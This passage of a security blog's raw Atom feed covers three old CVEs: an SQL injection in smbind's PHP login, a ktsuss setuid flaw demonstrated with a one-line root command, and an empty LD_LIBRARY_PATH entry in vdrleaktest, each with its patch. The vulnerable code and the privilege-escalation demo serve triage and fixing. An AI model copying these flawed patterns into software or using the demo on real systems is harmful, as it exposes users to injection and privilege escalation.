/&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;27 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $_SESSION['password'] = $_POST['password'];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;28 }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;29&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;30 if(isset($_SESSION['username']) &amp;amp;&amp;amp; isset($_SESSION['password'])) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;31 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $res = $dbconnect-&amp;gt;query("SELECT ID FROM users " .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;32 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "WHERE username = '" . $_SESSION['username'] .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;33 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "' AND password = '" . md5($_SESSION['password']) . "'"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;34 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aand the filter function is as follows :-&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;95 function filter($type, $str, $empty = "yes") {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;96 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $regex['num'] = "([0-9])";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;97 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $regex['alphanum'] = "([A-Za-z0-9])";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;98 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(ereg($regex[$type], $str)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;99 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return true;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;100 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;101 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elseif(empty($str)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;102 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if($empty == "yes") {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;103 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return true;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;104 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;105 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elseif($empty == "no") {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;106 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return false;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;107 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;108 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;109 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;110 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return false;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;111 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;112 }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Php isn't a favorite, so I just try using the php interpreter prompt.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$ php -a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Interactive shell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;php &amp;gt; if(ereg("([A-Za-z0-9])", "ASDF123")) { echo "test"; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;php &amp;gt; if(ereg("([A-Za-z0-9])", "!@#$")) { echo "test"; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;php &amp;gt; if(ereg("([A-Za-z0-9])", "ASDF!@#$")) { echo "test"; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The upstream(debian lenny) patch for the same is to use mysql_real_escape_string/pg_escape_string.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;++&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if ($dbtype == "mysql")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;++&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$_SESSION['username'] = mysql_real_escape_string($_POST['username']);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;++&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;++&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$_SESSION['username'] = pg_escape_string($_POST['username']);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-5687720472612657722?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/5687720472612657722/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2010-3076-and-smbind.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/5687720472612657722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/5687720472612657722'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2010-3076-and-smbind.html' title='CVE-2010-3076 and smbind'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-7654714641490399048</id><published>2012-02-14T08:50:00.000-08:00</published><updated>2012-02-14T08:50:45.964-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ktsuss'/><category scheme='http://www.blogger.com/atom/ns#' term='cve-2011-2921'/><category scheme='http://www.blogger.com/atom/ns#' term='cve'/><category scheme='http://www.blogger.com/atom/ns#' term='setuid'/><title type='text'>CVE-2011-2921 and ktsuss</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;ktsuss is a setuid that works more or less like a graphical "su". Lets install it on Maverick and play around with it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hmm.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-VV1qFut2obc/TzpvS6m0mfI/AAAAAAAAAdY/yW6ql_GOyIE/s1600/Screen+shot+2012-02-14+at+7.55.16+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-VV1qFut2obc/TzpvS6m0mfI/AAAAAAAAAdY/yW6ql_GOyIE/s320/Screen+shot+2012-02-14+at+7.55.16+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;What if...&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-TVvzMzllewo/Tzpvd3qmF7I/AAAAAAAAAdg/gSMrNx4CSn8/s1600/Screen+shot+2012-02-14+at+7.57.47+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-TVvzMzllewo/Tzpvd3qmF7I/AAAAAAAAAdg/gSMrNx4CSn8/s320/Screen+shot+2012-02-14+at+7.57.47+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;O..k doesn't look good - not something I'd expect from a setuid binary(not this easily anyway). Looking at the CVE description, it seems that if the current user and the user which we specify in ktsuss are the same, the command runs with the EUID(with root privileges). :|&lt;br /&gt;Yeah... thats bad. :|&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ ktsuss -u&amp;nbsp;equinox&amp;nbsp;whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;Looking at the Debian discussion it seems like the package is being scheduled for removal - without providing any patches for the current version which has the package(Well, I think the responsible thing to do would be to remove the package and provide a patch for existing users).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;So, unless I'm missing something obvious, the patch for this issue would be a &lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;seteuid(getuid())&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;. You can view the LP bug for this issue &lt;a href="https://bugs.launchpad.net/ubuntu/+source/ktsuss/+bug/932107"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-7654714641490399048?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/7654714641490399048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2011-2921-and-ktsuss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/7654714641490399048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/7654714641490399048'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2011-2921-and-ktsuss.html' title='CVE-2011-2921 and ktsuss'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-VV1qFut2obc/TzpvS6m0mfI/AAAAAAAAAdY/yW6ql_GOyIE/s72-c/Screen+shot+2012-02-14+at+7.55.16+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-6658883312351315865</id><published>2012-02-13T19:50:00.000-08:00</published><updated>2012-02-13T20:21:48.498-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cve-2010-3387'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>CVE-2010-3387 and vdrleaktest</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I recently helped triage and fix this one in Ubuntu(maverick) and thought of writing up a post about it. First of all, lets see how zero-length directories mess things up.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ bash&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ export PATH=":"$PATH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ echo $PATH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/opt/libemu/bin/:/opt/libemu/bin/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ cat &amp;gt; x&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;echo test&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ chmod 755 x&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ x&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At this point, I'm assuming that the behavior would be similar in the case of&amp;nbsp;&lt;span style="background-color: white; font-size: 14px; text-align: -webkit-auto;"&gt;LD_LIBRARY_PATH &lt;/span&gt;&lt;span style="background-color: white; text-align: -webkit-auto;"&gt;too. Before we look at the CVE, lets grep around a bit and try to find where the loading of the so file actually takes place.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: white; text-align: -webkit-auto;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~/cve-stuff/2010-3387/vdr-1.6.0$ egrep -r "dlopen" *&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;plugin.c: &amp;nbsp;handle = dlopen(fileName, RTLD_NOW);&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: inherit;"&gt;Inside plugin.c we notice the following :-&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;154 cDll::cDll(const char *FileName, const char *Args)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;155 {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;156 &amp;nbsp; &lt;span style="color: purple;"&gt;fileName&lt;/span&gt; = strdup(FileName);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;157 &amp;nbsp; args = Args ? strdup(Args) : NULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;158 &amp;nbsp; handle = NULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;159 &amp;nbsp; plugin = NULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;160 }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;190 bool cDll::Load(bool Log)&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;191 {&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;192 &amp;nbsp; if (Log)&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;193 &amp;nbsp; &amp;nbsp; &amp;nbsp;isyslog("loading plugin: %s", fileName);&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;194 &amp;nbsp; if (handle) {&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;195 &amp;nbsp; &amp;nbsp; &amp;nbsp;esyslog("attempt to load plugin '%s' twice!", fileName);&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;196 &amp;nbsp; &amp;nbsp; &amp;nbsp;return false;&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;197 &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;198 &amp;nbsp; handle = &lt;span style="color: purple;"&gt;dlopen&lt;/span&gt;(&lt;span style="color: purple;"&gt;fileName&lt;/span&gt;, RTLD_NOW);&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span style="text-align: left;"&gt;equinox&lt;/span&gt;@VMubuntu:~/cve-stuff/2010-3387/vdr-1.6.0$ egrep -r "new cDll" *&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;plugin.c: &amp;nbsp;dlls.Add(new cDll(&lt;span style="color: purple;"&gt;cString::sprintf("%s/%s%s%s%s", directory, LIBVDR_PREFIX, s, SO_INDICATOR, APIVERSION)&lt;/span&gt;, Args));&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: inherit;"&gt;As this was something from 2010, I assumed that it would be fixed in debian and searched around a bit and found &lt;a href="http://launchpadlibrarian.net/58476415/vdr_1.6.0-19ubuntu1_1.6.0-19.1.diff.gz"&gt;this&lt;/a&gt;. A small part of the patch is as follows :-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="white-space: pre-wrap; word-wrap: break-word;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;diff -u vdr-1.6.0/debian/vdrleaktest vdr-1.6.0/debian/vdrleaktest&lt;br /&gt;--- vdr-1.6.0/debian/vdrleaktest&lt;br /&gt;+++ vdr-1.6.0/debian/vdrleaktest&lt;br /&gt;@@ -65,7 +65,7 @@&lt;br /&gt; &lt;br /&gt; /etc/init.d/vdr stop&lt;br /&gt; &lt;br /&gt;-LANG=C LD_LIBRARY_PATH="/usr/lib/debug:${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \&lt;br /&gt;+LANG=C LD_LIBRARY_PATH="/usr/lib/debug${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \&lt;br /&gt;    valgrind --tool=memcheck --leak-check=yes --num-callers=20 \&lt;br /&gt;    --suppressions=/usr/share/vdr/valgrind.supp \&lt;br /&gt;    /usr/bin/vdr-dbg -v $VIDEO_DIR -c $CFG_DIR -L $PLUGIN_DIR  -r $REC_CMD \&lt;/span&gt;&lt;/pre&gt;&lt;pre style="white-space: pre-wrap; word-wrap: break-word;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times; white-space: normal;"&gt;I decided to have a look at the maverick version of the same :-&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times; white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~/cve-stuff/2010-3387$ vim $(which vdrleaktest)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;and found this instead.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;68 LANG=C LD_LIBRARY_PATH="/usr/lib/debug;$LD_LIBRARY_PATH" \&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ echo "/usr/lib/debug;$LD_LIBRARY_PATH"&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;/usr/lib/debug;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;While that does seem awkward and buggy it would have been a security vulnerability if you had a ":" instead of a ";" right? I searched around a bit more for confirmation and found &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=598308"&gt;this&lt;/a&gt;&amp;nbsp;where what I had in mind was being discussed.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;However, the fix proposed at the debian ML seemed vulnerable to me.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;pre class="message" style="background-color: #fefefe; border-top-color: initial; border-top-style: initial; border-top-width: 0px; line-height: 19px; padding-top: 0px;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;-LANG=C LD_LIBRARY_PATH="/usr/lib/debug;$LD_LIBRARY_PATH" \&lt;br /&gt;+LANG=C LD_LIBRARY_PATH="/usr/lib/debug:${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \&lt;br /&gt;    valgrind --tool=memcheck --leak-check=yes --num-callers=20 \&lt;br /&gt;    --suppressions=/usr/share/vdr/valgrind.supp \&lt;br /&gt;    /usr/bin/vdr-dbg -v $VIDEO_DIR -c $CFG_DIR -L $PLUGIN_DIR  -r $REC_CMD \&lt;/span&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="font-family: Times;"&gt;&lt;span style="white-space: normal;"&gt;Because if you did not have LD_LIBRARY_PATH set, you would have&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="word-wrap: break-word;"&gt;&lt;span style="white-space: normal;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;equinox@VMubuntu:~$ echo "/usr/lib/debug:${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" /usr/lib/debug:&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;I'm not quite sure if its the right way to fix this bug; if the patch is not vulnerable I wont have to generate a defdiff, we would just need to do a fake sync. The LP bug can be viewed &lt;a href="https://bugs.launchpad.net/ubuntu/+source/vdr/+bug/930700"&gt;here&lt;/a&gt;.&lt;br /&gt;[&lt;b&gt;EDIT&lt;/b&gt;] After a discussion at LP I realized that the above mentioned fixed had made its way into the repository, and not a release; in that case I too found it unnecessary to request a CVE assignment. The current patch is as follows :-&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;+LANG=C LD_LIBRARY_&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;PATH="/&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;usr/lib/&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;debug${&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;LD_LIBRARY_&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;PATH:+:&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;$LD_LIBRARY_&lt;/span&gt;&lt;wbr style="background-color: white; color: #333333; line-height: 